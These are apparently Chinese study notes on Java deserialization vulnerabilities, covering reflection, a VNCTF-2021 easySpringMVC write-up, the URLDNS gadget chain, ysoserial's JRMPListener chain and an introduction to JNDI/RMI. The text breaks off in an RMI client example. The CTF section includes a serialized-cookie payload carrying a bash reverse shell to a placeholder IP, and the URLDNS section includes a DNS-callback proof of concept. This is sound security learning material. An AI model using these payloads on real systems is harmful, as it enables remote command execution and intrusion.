java反序列化总结

前言

本篇文章初步学习java反序列化以及反序列化利用需要掌握的java反射机制,文章内容借鉴多篇前人文章,总结仅供学习和参考

java反序列化入门(一)初识JAVA反序列化漏洞

0x0 java序列化与反序列化

0x00 简单介绍

Java 序列化是指把 Java 对象转换为字节序列的过程
ObjectOutputStream类的 writeObject() 方法可以实现序列化

Java 反序列化是指把字节序列恢复为 Java 对象的过程
ObjectInputStream 类的 readObject() 方法用于反序列化。

实现java.io.Serializable接口才可被反序列化,而且所有属性必须是可序列化的
(用transient关键字修饰的属性除外,不参与序列化过程)

举例:

需要序列化的类

package serialize;

import java.io.Serializable;

public class User implements Serializable{
    private String name;
    public void setName(String name) {
        this.name=name;
    }
    public String getName() {
        return name;
    }
}

序列化与反序列化

package serialize;

import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        User user=new User();
        user.setName("leixiao");

        byte[] serializeData=serialize(user);
        FileOutputStream fout = new FileOutputStream("user.bin");
        fout.write(serializeData);
        fout.close();
        User user2=(User) unserialize(serializeData);
        System.out.println(user2.getName());
    }
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

0x01 重要函数readObject方法

特地提到这个方法是因为在反序列化漏洞中它起到了关键作用,readObject()方法被重写的的话,反序列化该类时调用便是重写后的readObject()方法。如果该方法书写不当的话就有可能引发恶意代码的执行

重写readObject函数

package evilSerialize;
import java.io.*;
public class Evil implements Serializable{
    public String cmd;
    private void readObject(java.io.ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);
    }
}

主函数调用该函数进行反序列化

package evilSerialize;

import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Evil evil=new Evil();
        evil.cmd="calc";

        byte[] serializeData=serialize(evil);
        unserialize(serializeData);
    }
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}
实际中反序列化漏洞的构造比较复杂,而且需要借助Java的一些特性如Java的反射

0x1 Java反射

0x10 Java反射的定义

对于任意一个类,都能够得到这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。

其实在Java中定义的一个类本身也是一个对象,即java.lang.Class类的实例,这个实例称为类对象

类对象表示正在运行的 Java应用程序中的类和接口
类对象没有公共构造方法,由Java虚拟机自动构造
类对象用于提供类本身的信息,比如有几种构造方法,有多少属性,有哪些普通方法
要得到类的方法和属性,首先就要得到该类对象

0x11 获取类对象

假设现在有个user类

package reflection;

public class User {
    private String name;

    public User(String name) {
        this.name=name;
    }
    public void setName(String name) {
        this.name=name;
    }
    public String getName() {
        return name;
    }
}

要获取该类对象一般有三种方法

  • class.forName(“reflection.User”)
  • User.class
  • new User().getClass()

最常用的是第一种,通过一个字符串即类的全路径名就可以得到类对象,另外两种方法依赖项太强

0x12 利用类对象创建对象

与new直接创建对象不同,反射是先拿到类对象,然后通过类对象获取构造器对象,再通过构造器对象创建一个对象

package reflection;

import java.lang.reflect.*;

public class CreateObject {
    public static void main(String[] args) throws Exception {
        Class UserClass=Class.forName("reflection.User");
        Constructor constructor=UserClass.getConstructor(String.class);
        User user=(User) constructor.newInstance("leixiao");

        System.out.println(user.getName());
    }
}
  • getConstructor(Class…<?> parameterTypes) 获得该类中与参数类型匹配的公有构造方法
  • getConstructors() 获得该类的所有公有构造方法
  • getDeclaredConstructor(Class…<?> parameterTypes) 获得该类中与参数类型匹配的构造方法
  • getDeclaredConstructors() 获得该类所有构造方法

0x13 通过反射调用方法

package reflection;

import java.lang.reflect.*;

public class CallMethod {
    public static void main(String[] args) throws Exception {
        Class UserClass=Class.forName("reflection.User");

        Constructor constructor=UserClass.getConstructor(String.class);
        User user=(User) constructor.newInstance("leixiao");

        Method method = UserClass.getDeclaredMethod("setName", String.class);// 获得这个类的某个方法,第一个参数是方法名字,第二个参数是参数类型
        method.invoke(user, "l3yx"); // invoke相当于调用上面声明要调用的setName方法,将l3yx传入user中

        System.out.println(user.getName());
    }
}
  • getMethod(String name, Class…<?> parameterTypes) 获得该类某个公有的方法
  • getMethods() 获得该类所有公有的方法
  • getDeclaredMethod(String name, Class…<?> parameterTypes) 获得该类某个方法
  • getDeclaredMethods() 获得该类所有方法

0x14 通过反射访问属性

package reflection;

import java.lang.reflect.*;

public class AccessAttribute {
    public static void main(String[] args) throws Exception {
        Class UserClass=Class.forName("reflection.User");

        Constructor constructor=UserClass.getConstructor(String.class);
        User user=(User) constructor.newInstance("leixiao");

        Field field= UserClass.getDeclaredField("name");//获得某个属性
        field.setAccessible(true);// name是私有属性,需要先设置可访问
        field.set(user, "l3yx");// 这个还是调用setName方法吗

        System.out.println(user.getName());
    }
}
  • getField(String name) 获得某个公有的属性对象
  • getFields() 获得所有公有的属性对象
  • getDeclaredField(String name) 获得某个属性对
  • getDeclaredFields() 获得所有属性对象

0x15 利用java反射执行代码

package reflection;

public class Exec {
    public static void main(String[] args) throws Exception {
        //java.lang.Runtime.getRuntime().exec("calc.exe");

        Class runtimeClass=Class.forName("java.lang.Runtime");
        Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);// getRuntime是静态方法,invoke时不需要传入对象,获得getRuntime方法(getMethod获得某个类公有的方法),invoke等于是调用了。
        runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");// 获得exec方法,invoke调用传入两个参数??
    }
}

以上代码中,利用了Java的反射机制把我们的代码意图都利用字符串的形式进行体现,使得原本应该是字符串的属性,变成了代码执行的逻辑,而这个机制也是后续的漏洞使用的前提

java反序列化入门(二)VNCTF-2021 easySpringMVC

环境搭建

为了方便调试,还是决定在本地搭建好环境

管理员权限可以上传图片?

审计源码

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/applicationContext.xml</param-value>
    </context-param>
    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>
    <filter>
        <filter-name>clientinfo</filter-name>
        <filter-class>com.filters.ClentInfoFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>clientinfo</filter-name>
        <servlet-name>*</servlet-name>
    </filter-mapping>
    <servlet>
        <servlet-name>dispatcher</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>dispatcher</servlet-name>
        <url-pattern>*.form</url-pattern>
    </servlet-mapping>
</web-app>

可以得知带*.form类型的访问交给servlet处理,servlet就是处理http请求的类

servlet详细介绍:一个请求进来经过前端控制器Dispatcher Servlet,这是前端的核心。一个请求的URL进来,经过Dispatcher Servlet转发,首先转发到Handler Mapping,②Handler Mapping的作用就是完成对URL到Controller组件的映射,然后通过Dispatcher Servlet从Handlermapping查找处理request的Controller。③ controller处理request请求后并返回ModelAndView对象,Controller是是springmvc中负责处理request的组件,ModelAndView是封装结果视图的组件。其后面的步骤就是将视图结果返回给客户端。总结:上图除了Dispatcherservlet以外其他的都是相互独立,所有请求都经过这个核心控制器进行转发控制。

还发现了这里定义了一个filter过滤,过滤一般是在http请求到达servlet之前或者之后,用于检查这个请求是否有权限。

controller里面确实没看出什么东西,我们先看到后面的tools文件夹

client.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.tools;

import java.io.Serializable;

public class ClientInfo implements Serializable {
    private static final long serialVersionUID = 1L;
    private String name;
    private String group;
    private String id;

    public ClientInfo(String name, String group, String id) {
        this.name = name;
        this.group = group;
        this.id = id;
    }

    public String getName() {
        return this.name;
    }

    public String getGroup() {
        return this.group;
    }

    public String getId() {
        return this.id;
    }
}

定义了一个类,这个类有三个属性name、group、id,分别定义了get这三个属性的方法,同时也定义了构造函数。

tools.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.tools;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Tools implements Serializable {
    private static final long serialVersionUID = 1L;
    private String testCall;

    public Tools() {
    }

    public static Object parse(byte[] bytes) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
        return ois.readObject();
    }

    public static byte[] create(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(bos);
        outputStream.writeObject(obj);
        return bos.toByteArray();
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Object obj = in.readObject();
        (new ProcessBuilder((String[])((String[])obj))).start();
    }
}

这里比较关键的是定义了readObject函数,既然定义了这个函数,那么就有可能性是会存在反序列化漏洞了。

最后我们看filter文件夹

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.filters;

import com.tools.ClientInfo;
import com.tools.Tools;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Decoder;
import java.util.Base64.Encoder;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class ClentInfoFilter implements Filter {
    public ClentInfoFilter() {
    }

    public void init(FilterConfig fcg) {
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        Cookie[] cookies = ((HttpServletRequest)request).getCookies();// 获取cookie
        boolean exist = false;
        Cookie cookie = null;
        if (cookies != null) {// 非空
            Cookie[] var7 = cookies;// 赋值给var7
            int var8 = cookies.length;// var8为cookie的总个数

            for(int var9 = 0; var9 < var8; ++var9) {// 遍历一边所有的cookie对象
                Cookie c = var7[var9];
                if (c.getName().equals("cinfo")) {// 如果存在cookie的name等于cinfo,那么exist等于true,cookie等于name=cinfo的cookie
                    exist = true;
                    cookie = c;
                    break;
                }
            }
        }

        byte[] bytes;
        if (exist) {// 如果真的存在name为info的cookie
            String b64 = cookie.getValue();// b64 = value
            Decoder decoder = Base64.getDecoder();
            bytes = decoder.decode(b64);
            ClientInfo cinfo = null;
            if (!b64.equals("") && bytes != null) {
                try {
                    cinfo = (ClientInfo)Tools.parse(bytes);// 这个可以阅读到上面的代码,在parse函数中执行了反序列化操作,并且重写了readObject函数,后面的函数逻辑就不用继续看了
                } catch (Exception var14) {
                    var14.printStackTrace();
                }
            } else {
                cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
                Encoder encoder = Base64.getEncoder();

                try {
                    bytes = Tools.create(cinfo);
                } catch (Exception var15) {
                    var15.printStackTrace();
                }

                cookie.setValue(encoder.encodeToString(bytes));
            }

            ((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
        } else {
            Encoder encoder = Base64.getEncoder();

            try {
                ClientInfo cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
                bytes = Tools.create(cinfo);
                cookie = new Cookie("cinfo", encoder.encodeToString(bytes));
                cookie.setMaxAge(86400);
                ((HttpServletResponse)response).addCookie(cookie);
                ((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
            } catch (Exception var13) {
                var13.printStackTrace();
            }
        }

        chain.doFilter(request, response);
    }

    public void destroy() {
    }
}

通过上述代码的注释,我们知道漏洞存在于后台默认客户端提交的数据是字符串,进行反序列化。我们可以通过这个反序列化执行的命令如下所示:

Object obj = in.readObject();
(new ProcessBuilder((String[])((String[])obj))).start();

如果我们构造一个Tools类,反序列化的时候,readObject会被自动调用,然后读到的obj会被强制类型转换为String[],达到命令执行。

确实对JAVA不是很了解,补充: ProcessBuilder类是J2SE 1.5在java.lang中新添加的一个新类,此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法。在J2SE 1.5之前,都是由Process类处来实现进程的控制管理。每个 ProcessBuilder 实例管理一个进程属性集。它的start() 方法利用这些属性创建一个新的 Process 实例。start() 方法可以从同一实例重复调用,以利用相同的或相关的属性创建新的子进程。

也就是说可以利用这个函数达到命令执行的目的。

payload构建

知道漏洞了,那么我们也可以考虑拿shell了:

既然有命令执行,那么我们可以rce,精心构造一段paylodad来反弹shell。

有两种方法拿shell:

第一种:重写writeObject函数

在Tools添加函数:

private void writeObject(ObjectOutputStream out) throws IOException{
    out.writeObject(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/11111 0>&1"});
}

main函数:

public class Main {
    public static void main(String[] args) {
        Tools tools = new Tools();
        Base64.Encoder e = Base64.getEncoder();
        byte[] var20 = new byte[0];
        try {
            var20 = Tools.create(tools);
        } catch (Exception var15) {
            var15.printStackTrace();
        }
        String cookie = e.encodeToString(var20);
        System.out.println(cookie);
    }
}

第二种:通过main函数直接生成

但不知道为什么没有成功弹shell

java反序列化入门(三)URLDNS链学习

URLDNS链的作用

当我们用反序列化payload打对方后没有什么回应,那么就不知道哪里出了问题:

1.打成功了,只是对方机器不能出网?
2.还是对面JAVA环境与payload版本不一样,改改就可以?
3.还是对方没有用这个payload利用链的所需库?利用链所需库的版本不对?换换就可以?
4.还是…以上做的都是瞎操作,这里压根没有反序列化readobject点QAQ

而URLDNS模块正是解决了以上疑惑的最后一个,确认了readobject反序列化利用点的存在。不至于payload改来改去却发现最后是因为压根没有利用点所以没用。同时因为这个利用链不依赖任何第三方库,没有什么限制。

如果目标服务器存在反序列化动作(readobject),处理了我们的输入,同时按照我们给定的URL地址完成了DNS查询,我们就可以确认是存在反序列化利用点的。

从JAVA反序列化RCE的三要素(readobject反序列化利用点 + 利用链 + RCE触发点)来说,是通过(readobject反序列化利用点 + DNS查询)来确认readobject反序列化利用点的存在。

ysoserial payload生成命令:java -jar ysoserial.jar URLDNS “自己能够查询DNS记录的域名”
(这里可以使用ceye做DNS查询)

我们先抛开ysoserial,看一下网上的测试代码弄清楚原理,在之后再回过来看ysoserial的实现。

POC分析:

POC测试代码:

package test;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class test {
    public static void main(String[] args) throws Exception {
        //0x01.生成payload
        //设置一个hashMap
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        //设置我们可以接受DNS查询的地址
        URL url = new URL("http://xxx.ceye.io");
        //将URL的hashCode字段设置为允许修改
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        //**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**
        //1. 设置url的hashCode字段为0xdeadbeef(随意的值)
        f.set(url, 0xdeadbeef); 
        //2. 将url放入hashMap中,右边参数随便写
        hashMap.put(url, "rmb122");
        //修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)
        f.set(url, -1); 
        //0x02.写入文件模拟网络传输
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);
        //0x03.读取文件,进行反序列化触发payload
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }
}

这里注意到这三个名词:hashCode、HashMap、URL,接下来动态调试readObject

样例反序列化过程

HashMap序列化的过程

source code:

private void writeObject(java.io.ObjectOutputStream s)
        throws IOException {
        int buckets = capacity();
        // Write out the threshold, loadfactor, and any hidden stuff
        s.defaultWriteObject();
        s.writeInt(buckets);
        s.writeInt(size);
        internalWriteEntries(s);
    }

大概是这么做的:
1.写入一维数组的size
2.写入键值对的个数
3.逐步写入key和value

HashMap反序列化的过程

source code and comment

private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
{
    //...省略代码...
    //读取一维数组长度,不处理
    //读取键值对个数mappings
    //处理其他操作并初始化
    //遍历反序列化分辨读取key和value
    for (int i = 0; i < mappings; i++) {
        //URL类也有readObject方法,此处也会执行,但是DNS查询行为不在这,我们跳过
            K key = (K) s.readObject();
            V value = (V) s.readObject();
        //注意以下这句话
        putVal(hash(key), key, value, false, false);
    }
}

hash函数source code

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

传入的key是一个URL对象,不同对象的hash计算方法是在各自的类中实现的,这里key.hashCode()调用URL类中的hashCode方法:java.net.URL#hashCode

我们看到调试进入的是URL类中的hashCode方法

source code

//此处传入的URL为我们自主写入的接受DNS查询的URL
protected int hashCode(URL u) {
    int h = 0;//计算的hash结果

    //使用url的协议部分,计算hash
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    //**通过url获取目标IP地址**,再计算hash拼接进入
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {//如果没有获取到,就直接把域名计算hash拼接进入
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
}
//...

至此我们就看到了getHostAddress(u)这一关键语句,通过我们提供的URL地址去获取对应的IP。再往后还有一些函数调用,但是更为底层,而不太关键,就不继续跟了。

URL要传入一个域名而不能是一个IP,IP不会触发DNS查询是在java.net.InetAddress#getAllByName(java.lang.String, java.net.InetAddress)中进行了限制

那么总结下java1.8中的调用链:

1.HashMap->readObject()
2.readObject()-> hash()
3.hash()-> URL#hashCode()
4.URL#hashCode()->getHostAddress()

回看payload的生成

payload满足:
1.HashMap有一个URL的键值对
2.这个URL对象的Hashcode为-1

HashMap<URL, String> hashMap = new HashMap<URL, String>();
//设置我们可以接受DNS查询的地址
URL url = new URL("http://xxx.ceye.io");
//将URL的hashCode字段设置为允许修改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
//**以下的操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**
//1. 设置url的hashCode字段为0xdeadbeef(随意的值)
f.set(url, 0xdeadbeef); 
//2. 将url放入hashMap中,右边参数随便写
hashMap.put(url, "rmb122");
//修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)
f.set(url, -1); 

前面创建hashmap,url对象,由于hashCode是private属性,更改访问权限让它变得允许修改都没问题。

但是下面这块为啥不能直接把URL对象put进去hashmap就好了?反而要设置成别的值再设置回来

注意这个函数:

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

可以发现put里面的语句跟我们之前看到的会触发DNS查询的语句一模一样,同时URL对象再初始化之后的hashCode默认为-1。

也就是说在我们生成payload的过程中,如果不做任何修改就直接把URL对象放入HashMap是在本地触发一次DNS查询的。

这时候hashCode默认为-1,然后就会进入hash(key)触发DNS查询。这就会混淆是你本地的查询还是对方机器的查询的DNS。在put之前修改个hashCode,就可以避免触发。

而在put了之后:

1.如果之前没有f.set(url, 0xdeadbeef);修改hashCode,就会完成DNS查询的同时,计算出hashCode,从而修改成不为-1的值。这个hashcode会被序列化传输,到对方机器时就会因为不是-1而跳过DNS查询流程
2.如果之前修改了hashCode,那自然也会直接被序列化传输,不是-1也会跳过DNS查询流程。

所以需要f.set(url, -1);把这个字段改回来-1。

java反序列化入门(四)ysoserial exploit:JRMPClient/JRMPListener链学习

介绍

ysoserial中的exploit/JRMPClient是作为攻击方的代码,一般会结合payloads/JRMPLIstener使用,攻击流程就是:

1、先往存在漏洞的服务器发送payloads/JRMPLIstener,使服务器反序列化该payload后,会开启一个rmi服务并监听在设置的端口

2、然后攻击方在自己的服务器使用exploit/JRMPClient与存在漏洞的服务器进行通信,并且发送一个可命令执行的payload(假如存在漏洞的服务器中有使用org.apacje.commons.collections包,则可以发送CommonsCollections系列的payload),从而达到命令执行的结果。

下面就分别分析一下exploit/JRMPClient与payloads/JRMPLIstener

payloads/JRMPListenser链学习

源码分析

之前一直没搞懂是如何调用UnicastRemoteObject中的readObject函数的,这里一步一步的分析吧:

首先是

JEMPListener源码:

其实跑JRMPListener代码会首先运行PayloadRunner.run函数:然后通过边调试边理解每个语句的内容,JAVA特性已经忘的差不多了。。。

public class PayloadRunner {

    public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
        // ensure payload generation doesn't throw an exception
        byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
            public byte[] call() throws Exception {
                final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
                System.out.println("generating payload object(s) for command: '" + command + "'");
                ObjectPayload<?> payload = clazz.newInstance();// 创建新的对象,无参构造
                final Object objBefore = payload.getObject(command);//调用getObject函数
                System.out.println("serializing payload");
                byte[] ser = Serializer.serialize(objBefore);
                Utils.releasePayload(payload, objBefore);
                return ser;
        }});
        try {
            System.out.println("deserializing payload");
            final Object objAfter = Deserializer.deserialize(serialized);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {

    public UnicastRemoteObject getObject(final String command) throws Exception {
        //设置jrmp监听端口
        int jrmpPort = Integer.parseInt(command);
        //调用RemoteObject类的构造方法,new UnicastServerRef(jrmpPort)作为构造方法的参数,然后返回一个ActivationGroupImpl类型的对象,ActivationGroupImpl继承ActivationGroup,ActivationGroup继承UnicastRemoteObject
        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{
            RemoteRef.class
        }, new Object[]{
            new UnicastServerRef(jrmpPort)
        });
        //通过反射设置uro对象中的port属性值为jrmpPort
        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
        return uro;
    }
}
我们看到在执行完getObject的时候返回的对象是ActivationGroupImpl,ActivationGroupImpl继承ActivationGroup,ActivationGroup继承UnicastRemoteObject。

这就牵扯到一点就是继承,子类在实现父类的方法后,通过子类new一个对象调用该方法那么调用的是子类的方法,如果b方法没有实现,子类同样可以调用b方法。在上面就是虽然ActivationGroupImpl没有定义readObject方法,但是在其父类中定义了readObject函数,那么在进行反序列化的时候就会调用这个函数。

Reflections.createWithConstructor:

public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
        throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
    //获取constructorClass类的构造方法,从泛型限定来看,constructorClass为classToInstantiate的父类
    Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
    setAccessible(objCons);// 设置可以访问,可以调用
    //这里会根据constructorClass父类的构造方法新建一个构造方法,但使用该构造方法newInstance出的对象为constructorClass类型
    Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
    setAccessible(sc);// 设置可以访问,可以调用
    //调用constructorClass父类的构造方法,将consArgs作为参数,返回constructorClass类型的对象
    return (T)sc.newInstance(consArgs);
}

调试分析

调用链总结如下:

Gadget chain:
 * UnicastRemoteObject.readObject(ObjectInputStream) line: 235
 * UnicastRemoteObject.reexport() line: 266
 * UnicastRemoteObject.exportObject(Remote, int) line: 320
 * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
 * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
 * LiveRef.exportObject(Target) line: 147
 * TCPEndpoint.exportObject(Target) line: 411
 * TCPTransport.exportObject(Target) line: 249
 * TCPTransport.listen() line: 319

开始动态调试:

UnicastRemoteObject.readObject:开始执行ActivationGroupImpl父类定义的readObject函数

UnicastRemoteObject.reexport

UnicastRemoteObject.exportObject(Remote, int)

UnicastRemoteObject.exportObject(Remote, UnicastServerRef)

UnicastServerRef.exportObject(Remote, Object, boolean)

LiveRef.exportObject(Target)这里是LiveRef类中定义的exportObject函数

TCPTransport.exportObject(Target)

TCPTransport.listen()

至此JRMPListener链的学习基本完成

exploit/JRMPClient学习

java反序列化入门(五)JNDI注入原理及利用初探

JNDI介绍

JNDI全称为Java Naming and Directory Interface,也就是Java命名和目录接口。既然是接口,那么就必定有其实现,而目前我们Java中使用最多的基本就是rmi和ldap的目录服务系统。而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象。

总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。就是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象

通过name发现和查找数据和对象

代码格式如下:

String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds =(DataSourse)context.lookup(jndiName);//查找该name的数据

这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。(此篇中我们将着重讲解RMI,提到LDAP)
RMI格式:

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");

JNDI结构
在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

RMI介绍

什么是RMI

作用是什么:

RMI,是Remote Method Invocation(远程方法调用)的缩写,即在一个JVM中java程序调用在另一个远程JVM中运行的java程序,这个远程JVM既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。java RMI封装了远程调用的实现细节,进行简单的配置之后,就可以如同调用本地方法一样,比较透明地调用远端方法

RMI三部分

RMI有三部分:

1.Registry: 提供服务注册与服务获取。即Server端向Registry注册服务,比如地址、端口等一些信息,Client端从Registry获取远程对象的一些信息,如地址、端口等,然后进行远程调用
2.Server: 远程方法的提供者,并向Registry注册自身提供的服务。
3.Client: 远程方法的消费者,从Registry获取远程方法的相关信息并且调用。

RMI使用

从头开始写一个简单的RMI示例,实现输入名字,返回“Hello, XXX”的工程。创建一个完整的远程调用,我们分为以下几步:

  1. 定义一个远程接口,这个接口需要继承Remote,并且接口中的每一个方法都需要抛出RemoteException异常
  2. 开发远程接口的实现类
  3. Registry的创建
  4. RMI Server的创建
  5. RMI Client的创建

定义一个远程接口:

package com.luckyqiao.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteHello extends Remote {
    String sayHello(String name) throws RemoteException;
}

开发远程接口实现类:

package com.luckyqiao.rmi;
import java.rmi.RemoteException;
public class RemoteHelloImpl  implements RemoteHello {
    public String sayHello(String name) throws RemoteException {
        return String.format("Hello, %s!", name);
    }
}

Registry 的创建

package com.luckyqiao.rmi;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;

public class RegistryServer {
    public static void main(String[] args) throws InterruptedException{
        try {
            LocateRegistry.createRegistry(8000); //Registry使用8000端口
        } catch (RemoteException e) {
            e.printStackTrace();
        }

        CountDownLatch latch=new CountDownLatch(1);
        latch.await();  //挂起主线程,否则应用会退出
    }
}

RMI server的创建

package com.luckyqiao.rmi;
import java.io.IOException;
import java.rmi.AlreadyBoundException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
    public static void main(String[] args) {
        RemoteHello remoteHello = new RemoteHelloImpl();
        try {
            RemoteHello stub = (RemoteHello) UnicastRemoteObject.exportObject(remoteHello, 4000); //导出服务,使用4000端口
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8000); //获取Registry
            registry.bind("hello", stub); //使用名字hello,将服务注册到Registry
        } catch (AlreadyBoundException | IOException e) {
            e.printStackTrace();
        }
    }
}

RMI client的创建

package com.luckyqiao.study.rmi;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8000);  //获取注册中心引用
            RemoteHello remoteHello = (RemoteHello) registry.lookup("hello"); //获取RemoteHello服务
